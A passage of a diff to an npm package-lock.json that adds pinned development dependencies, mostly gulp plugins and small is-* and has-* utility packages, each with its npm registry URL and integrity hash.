"sha512-nkqH5aRajfCGD8HB2yN+QSEQG0SMEpS7UyOp3HS966Og4DqUX0y8sPF5SU8uSsGLLLXbnHwyHbDkxauYO/pSpQ==", + "dev": true, + "requires": { + "jsonminify": "~0.2.3", + "plugin-error": "^0.1.2", + "through2": "~0.6.5" + }, + "dependencies": { + "arr-diff": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-1.1.0.tgz", + "integrity": "sha512-OQwDZUqYaQwyyhDJHThmzId8daf4/RFNLaeh3AevmSeZ5Y7ug4Ga/yKc6l6kTZOBW781rCj103ZuTh8GAsB3+Q==", + "dev": true, + "requires": { + "arr-flatten": "^1.0.1", + "array-slice": "^0.2.3" + } + }, + "arr-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-2.1.0.tgz", + "integrity": "sha512-t5db90jq+qdgk8aFnxEkjqta0B/GHrM1pxzuuZz2zWsOXc5nKu3t+76s/PQBA8FTcM/ipspIH9jWG4OxCBc2eA==", + "dev": true + }, + "array-slice": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-0.2.3.tgz", + "integrity": "sha512-rlVfZW/1Ph2SNySXwR9QYkChp8EkOEiTMO5Vwx60usw04i4nWemkm9RXmQqgkQFaLHsqLuADvjp6IfgL9l2M8Q==", + "dev": true + }, + "extend-shallow": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-1.1.4.tgz", + "integrity": "sha512-L7AGmkO6jhDkEBBGWlLtftA80Xq8DipnrRPr0pyi7GQLXkaq9JYA4xF4z6qnadIC6euiTDKco0cGSU9muw+WTw==", + "dev": true, + "requires": { + "kind-of": "^1.1.0" + } + }, + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==", + "dev": true + }, + "kind-of": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-1.1.0.tgz", + "integrity": "sha512-aUH6ElPnMGon2/YkxRIigV32MOpTVcoXQ1Oo8aYn40s+sJ3j+0gFZsT8HKDcxNy7Fi9zuquWtGaGAahOdv5p/g==", + "dev": true + }, + "plugin-error": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/plugin-error/-/plugin-error-0.1.2.tgz", + "integrity": "sha512-WzZHcm4+GO34sjFMxQMqZbsz3xiNEgonCskQ9v+IroMmYgk/tas8dG+Hr2D6IbRPybZ12oWpzE/w3cGJ6FJzOw==", + "dev": true, + "requires": { + "ansi-cyan": "^0.1.1", + "ansi-red": "^0.1.1", + "arr-diff": "^1.0.1", + "arr-union": "^2.0.1", + "extend-shallow": "^1.1.2" + } + }, + "readable-stream": { + "version": "1.0.34", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", + "integrity": "sha512-ok1qVCJuRkNmvebYikljxJA/UEsKwLl2nI1OmaqAu4/UE+h0wKCHok4XkL/gvi39OacXvw59RJUOFUkDib2rHg==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==", + "dev": true + }, + "through2": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-0.6.5.tgz", + "integrity": "sha512-RkK/CCESdTKQZHdmKICijdKKsCRVHs5KsLZ6pACAmF/1GPUQhonHSXWNERctxEp7RmvjdNbZTL5z9V7nSCXKcg==", + "dev": true, + "requires": { + "readable-stream": ">=1.0.33-1 <1.1.0-0", + "xtend": ">=4.0.0 <4.1.0-0" + } + } + } + }, + "gulp-load-plugins": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/gulp-load-plugins/-/gulp-load-plugins-2.0.7.tgz", + "integrity": "sha512-/3nl/p7s9O03Yv6SSEqN2dXEbDE0+JpsKfJl6h/GgCLqqnkZT0bF+JWcz87HzcTBeh/MVzMosAJx4kLDTWrTNQ==", + "dev": true, + "requires": { + "array-unique": "^0.3.2", + "fancy-log": "^1.2.0", + "findup-sync": "^4.0.0", + "gulplog": "^1.0.0", + "has-gulplog": "^0.1.0", + "micromatch": "^4.0.2", + "resolve": "^1.17.0" + } + }, + "gulp-merge-json": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/gulp-merge-json/-/gulp-merge-json-2.1.1.tgz", + "integrity": "sha512-VhvAlcf+dcCb94j/2yDPWxJ3X7x4P/Xwcrv1dhjYuRgvADwFJmaQwl4zbuq+GDZvzMacbVncWtEdsETpUSkhYw==", + "dev": true, + "requires": { + "json5": "^2.1.3", + "lodash.mergewith": "^4.6.1", + "plugin-error": "^1.0.1", + "through": "^2.3.8", + "vinyl": "^2.1.0" + } + }, + "gulp-rename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/gulp-rename/-/gulp-rename-2.0.0.tgz", + "integrity": "sha512-97Vba4KBzbYmR5VBs9mWmK+HwIf5mj+/zioxfZhOKeXtx5ZjBk57KFlePf5nxq9QsTtFl0ejnHE3zTC9MHXqyQ==", + "dev": true + }, + "gulp-sass": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/gulp-sass/-/gulp-sass-5.0.0.tgz", + "integrity": "sha512-J0aH0/2N4+2szGCeut0ktGHK0Wg8L9uWivuigrl7xv+nhxozBQRAKLrhnDDaTa3FeUWYtgT8w4RlgdhRy5v16w==", + "dev": true, + "requires": { + "chalk": "^4.1.1", + "lodash": "^4.17.20", + "plugin-error": "^1.0.1", + "replace-ext": "^2.0.0", + "strip-ansi": "^6.0.0", + "transfob": "^1.0.0", + "vinyl-sourcemaps-apply": "^0.2.1" + } + }, + "gulp-zip": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/gulp-zip/-/gulp-zip-5.1.0.tgz", + "integrity": "sha512-XZr/y91IliK/SpR74g3TkZejGkGEmK7CSDjSghT1jXshgO+dFvpLIz9w9fpuwkew6i7k4F+G24TubNgq1ISzEw==", + "dev": true, + "requires": { + "get-stream": "^5.2.0", + "plugin-error": "^1.0.1", + "through2": "^3.0.1", + "vinyl": "^2.1.0", + "yazl": "^2.5.1" + } + }, + "gulplog": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/gulplog/-/gulplog-1.0.0.tgz", + "integrity": "sha512-hm6N8nrm3Y08jXie48jsC55eCZz9mnb4OirAStEk2deqeyhXU3C1otDVh+ccttMuc1sBi6RX6ZJ720hs9RCvgw==", + "dev": true, + "requires": { + "glogg": "^1.0.0" + } + }, + "has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dev": true, + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "has-gulplog": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/has-gulplog/-/has-gulplog-0.1.0.tgz", + "integrity": "sha512-+F4GzLjwHNNDEAJW2DC1xXfEoPkRDmUdJ7CBYw4MpqtDwOnqdImJl7GWlpqx+Wko6//J8uKTnIe4wZSv7yCqmw==", + "dev": true, + "requires": { + "sparkles": "^1.0.0" + } + }, + "has-property-descriptors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz", + "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==", + "dev": true, + "requires": { + "get-intrinsic": "^1.1.1" + } + }, + "has-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", + "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "dev": true + }, + "has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "dev": true + }, + "has-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", + "integrity": "sha512-IBXk4GTsLYdQ7Rvt+GRBrFSVEkmuOUy4re0Xjd9kJSUQpnTrWR4/y9RpfexN9vkAPMFuQoeWKwqzPozRTlasGw==", + "dev": true, + "requires": { + "get-value": "^2.0.6", + "has-values": "^1.0.0", + "isobject": "^3.0.0" + } + }, + "has-values": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", + "integrity": "sha512-ODYZC64uqzmtfGMEAX/FvZiRyWLpAC3vYnNunURUnkGVTS+mI0smVsWaPydRBsE3g+ok7h960jChO8mFcWlHaQ==", + "dev": true, + "requires": { + "is-number": "^3.0.0", + "kind-of": "^4.0.0" + }, + "dependencies": { + "kind-of": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", + "integrity": "sha512-24XsCxmEbRwEDbz/qz3stgin8TTzZ1ESR56OMCN0ujYg+vRutNSiOj9bHH9u85DKgXguraugV5sFuvbD4FW/hw==", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "hasha": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/hasha/-/hasha-5.2.2.tgz", + "integrity": "sha512-Hrp5vIK/xr5SkeN2onO32H0MgNZ0f17HRNH39WfL0SYUNOTZ5Lz1TJ8Pajo/87dYGEFlLMm7mIc/k/s6Bvz9HQ==", + "dev": true, + "requires": { + "is-stream": "^2.0.0", + "type-fest": "^0.8.0" + } + }, + "he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true + }, + "homedir-polyfill": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz", + "integrity": "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==", + "dev": true, + "requires": { + "parse-passwd": "^1.0.0" + } + }, + "hosted-git-info": { + "version": "2.8.9", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", + "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", + "dev": true + }, + "html-encoding-sniffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", + "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", + "dev": true, + "requires": { + "whatwg-encoding": "^2.0.0" + } + }, + "html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true + }, + "html-minifier": { + "version": "3.5.21", + "resolved": "https://registry.npmjs.org/html-minifier/-/html-minifier-3.5.21.tgz", + "integrity": "sha512-LKUKwuJDhxNa3uf/LPR/KVjm/l3rBqtYeCOAekvG8F1vItxMUpueGd94i/asDDr8/1u7InxzFA5EeGjhhG5mMA==", + "dev": true, + "requires": { + "camel-case": "3.0.x", + "clean-css": "4.2.x", + "commander": "2.17.x", + "he": "1.2.x", + "param-case": "2.1.x", + "relateurl": "0.2.x", + "uglify-js": "3.4.x" + }, + "dependencies": { + "commander": { + "version": "2.17.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.17.1.tgz", + "integrity": "sha512-wPMUt6FnH2yzG95SA6mzjQOEKUU3aLaDEmzs1ti+1E9h+CsrZghRlqEM/EJ4KscsQVG8uNN4uVreUeT8+drlgg==", + "dev": true + } + } + }, + "http-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", + "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", + "dev": true, + "requires": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + } + }, + "https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dev": true, + "requires": { + "agent-base": "6", + "debug": "4" + } + }, + "iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "requires": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + } + }, + "ignore": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", + "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", + "dev": true + }, + "import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dev": true, + "requires": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + } + }, + "imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true + }, + "indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true + }, + "interpret": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz", + "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==", + "dev": true + }, + "invert-kv": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", + "integrity": "sha512-xgs2NH9AE66ucSq4cNG1nhSFghr5l6tdL15Pk+jl46bmmBapgoaY/AacXyaDznAqmGL99TiLSQgO/XazFSKYeQ==", + "dev": true + }, + "ip-range-check": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/ip-range-check/-/ip-range-check-0.2.0.tgz", + "integrity": "sha512-oaM3l/3gHbLlt/tCWLvt0mj1qUaI+STuRFnUvARGCujK9vvU61+2JsDpmkMzR4VsJhuFXWWgeKKVnwwoFfzCqw==", + "requires": { + "ipaddr.js": "^1.0.1" + }, + "dependencies": { + "ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" + } + } + }, + "ipaddr.js": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.1.0.tgz", + "integrity": "sha512-LlbxQ7xKzfBusov6UMi4MFpEg0m+mAm9xyNGEduwXMEDuf4WfzB/RZwMVYEd7IKGvh4IUkEXYxtAVu9T3OelJQ==" + }, + "is-absolute": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-absolute/-/is-absolute-1.0.0.tgz", + "integrity": "sha512-dOWoqflvcydARa360Gvv18DZ/gRuHKi2NU/wU5X1ZFzdYfH29nkiNZsF3mp4OJ3H4yo9Mx8A/uAGNzpzPN3yBA==", + "dev": true, + "requires": { + "is-relative": "^1.0.0", + "is-windows": "^1.0.1" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "dev": true + }, + "is-binary-path": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz", + "integrity": "sha512-9fRVlXc0uCxEDj1nQzaWONSpbTfx0FmJfzHF7pwlI8DkWGoHBBea4Pg5Ky0ojwwxQmnSifgbKkI06Qv0Ljgj+Q==", + "dev": true, + "requires": { + "binary-extensions": "^1.0.0" + } + }, + "is-buffer": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", + "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==", + "dev": true + }, + "is-core-module": { + "version": "2.12.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.12.1.tgz", + "integrity": "sha512-Q4ZuBAe2FUsKtyQJoQHlvP8OvBERxO3jEmy1I7hcRXcJBGGHFh/aJBswbXuS9sgrDH2QUO8ilkwNPHvHMd8clg==", + "dev": true, + "requires": { + "has": "^1.0.3" + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "dependencies": { + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true + } + } + }, + "is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "dev": true + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true + }, + "is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-negated-glob": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-negated-glob/-/is-negated-glob-1.0.0.tgz", + "integrity": "sha512-czXVVn/QEmgvej1f50BZ648vUI+em0xqMq2Sn+QncCLN4zj1UAxlT+kw/6ggQTOaZPd1HqKQGEqbpQVtJucWug==", + "dev": true + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-path-cwd": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz", + "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==", + "dev": true + }, + "is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true + }, + "is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "dev": true + }, + "is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "dev": true, + "requires": { + "isobject": "^3.0.1" + } + }, + "is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", + "dev": true + }, + "is-relative": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz", + "integrity": "sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==", + "dev": true, + "requires": { + "is-unc-path": "^1.0.0" + } + }, + "is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true + }, + "is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==", + "dev": true + }, + "is-unc-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz", + "integrity": "sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==", + "dev": true, + "requires": { + "unc-path-regex": "^0.1.2" + } + }, + "is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true + }, + "is-utf8": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz", + "integrity": "sha512-rMYPYvCzsXywIsldgLaSoPlw5PfoB/ssr7hY4pLfcodrA5M/eArza1a9VmTiNIBNMjOGr1Ow9mTyU2o69U6U9Q==", + "dev": true + }, + "is-valid-glob": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-valid-glob/-/is-valid-glob-1.0.0.tgz", + "integrity": "sha512-AhiROmoEFDSsjx8hW+5sGwgKVIORcXnrlAx/R0ZSeaPw70Vw0CqkGBBhHGL58Uox2eXnU1AnvXJl1XlyedO5bA==", + "dev": true + }, + "is-windows": { + 